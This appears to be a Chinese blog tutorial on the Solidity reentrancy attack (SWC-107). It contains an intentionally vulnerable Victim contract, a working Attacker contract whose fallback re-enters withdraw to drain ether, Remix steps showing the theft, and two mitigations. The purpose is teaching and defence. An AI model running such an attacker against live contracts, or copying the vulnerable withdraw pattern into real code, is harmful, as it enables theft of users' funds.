当前位置:网站首页>智能合约安全-可重入攻击(SW107-Reentrancy)
智能合约安全-可重入攻击(SW107-Reentrancy)
2022-08-02 23:33:00 【Johnathan】
攻击名称
可重入攻击(Reentrancy)
攻击分类CWE-841
代码实现与预期行为不一致
攻击描述
主要的风险就是调用外部合约会接管合约的控制流。在可重入攻击中,恶意合约在被攻击合约的第一个函数执行完成前在再次调用合约,这可能导致函数调用与预期行为不一致。核心流程与原理如下:
合约案例
被攻击合约
// SPDX-License-Identifier: GPL-3.0pragma solidity ^0.6.10;contract Victim { mapping(address=> uint256) public balances; function deposit() public payable{ balances[msg.sender] += msg.value; } function withdraw(uint256 amount) public { require(balances[msg.sender] >= amount); (bool success,) = msg.sender.call{value:amount}(""); require(success, "Fail to send ether!"); balances[msg.sender] -= amount; } function getBalance() public view returns(uint){ return address(this).balance; }}
攻击合约
contract Attacker{ Victim public victim; constructor(address _victimAddr) public { victim = Victim(_victimAddr); } function beginAttack() external payable{ require(msg.value >= 1 ether); victim.deposit{value: 1 ether}(); victim.withdraw(1 ether); } fallback() external payable{ //死循环的话一毛也取不到 if (address(victim).balance >= 1 ether) { victim.withdraw(1 ether); } } function getBalance() public view returns(uint){ return address(this).balance; }}
操作示例
- 采用Remix账户1部署Victim合约,然后调用deposit存入4个ETH
- 采用Remix账户1部署Attacker合约,然后调用beginAttack并传入1个ETH
- Victim合约GetBalance: 0, Attacker合约GetBalance 5
防止策略
- 切换存储更新和外部调用的顺序,防止启用攻击的重新进入条件。遵循“检查-效果-相互作用”设计模式。
contract Victim{ ... function withdraw(uint256 amount) public { require(balances[msg.sender] >= amount); balances[msg.sender] -= amount; (bool success,) = msg.sender.call{value:amount}(""); require(success, "Fail to send ether!"); }
2.加锁。
bool internal locked; modifier noReentrant(){ require(!locked, "No re-entrancy!"); locked = true; _; locked = false; } function withdraw(uint256 amount) public noReentrant{ require(balances[msg.sender] >= amount); (bool success,) = msg.sender.call{value:amount}(""); require(success, "Fail to send ether!"); balances[msg.sender] -= amount; }
边栏推荐
- 2022 China Eye Expo, Shandong Eye Health Exhibition, Vision Correction Instrument Exhibition, Eye Care Products Exhibition
- Mock工具之Moco使用教程
- js基础知识整理之 —— 全局作用域
- Canonical correlation analysis of CCA calculation process
- 我们来浅谈代码语言的魅力
- js基础知识整理之 —— 字符串
- Teach you to locate online MySQL slow query problem hand by hand, package teaching package meeting
- 如何快速对接淘宝开放平台API接口(淘宝店铺订单明文接口,淘宝店铺商品上传接口,淘宝店铺订单交易接口)
- Moco of Mock tools use tutorial
- 4、Citrix MCS云桌面无法安装todesk等软件
猜你喜欢
几种常见的跨域解决方法
我们来浅谈代码语言的魅力
RollBack Rx Professional RMC 安装教程
Cholesterol-PEG-Amine,CLS-PEG-NH2,胆固醇-聚乙二醇-氨基脂两亲性脂质衍生物
APT level comprehensive free kill with Shell
js基础知识整理之 —— 全局作用域
电压传感器: 工作原理、类型及电路图
【Autosar RTM】
Connect the Snowflake of CKAN tutorial CKAN to release to open data portal
可编程逻辑控制器(PLC) : 基础、类型和应用
随机推荐
【代码扫描修复】MD5加密弱HASH漏洞
【mysql知识点整理】--- order by 、group by 出现Using filesort原因详解
我们来浅谈代码语言的魅力
DataGuard日常维护常见问题之数据同步异常
数据库主键一定要自增吗?有哪些场景不建议自增?
flutter 时间戳转日期
matplotlib中的3D绘图警告解决:MatplotlibDeprecationWarning: Axes3D(fig) adding itself to the figure
Jmeter二次开发实现rsa加密
Day117. Shangyitong: Generate registered order module
Rasa 3.x 学习系列- Rasa - Issues 4792 socket debug logs clog up debug feed学习笔记
4、Citrix MCS云桌面无法安装todesk等软件
淘宝商品销量接口/淘宝商品销量监控接口/商品累计销量接口代码对接分享
基于STM32设计的老人防摔倒报警设备(OneNet)
Introduction to resubmit Progressive Anti-Duplicate Submission Framework
flutter 每个要注意的点
用了TCP协议,就一定不会丢包吗?
vant-swipe自适应图片高度+图片预览
优秀论文以及思路分析01
DB2数据库-获取表结构异常:[jcc][t4][1065][12306][4.26.14]CharConvertionException ERRORCODE=-4220,SQLSTATE=null
微信小程序实现lot开发09 接入微信登录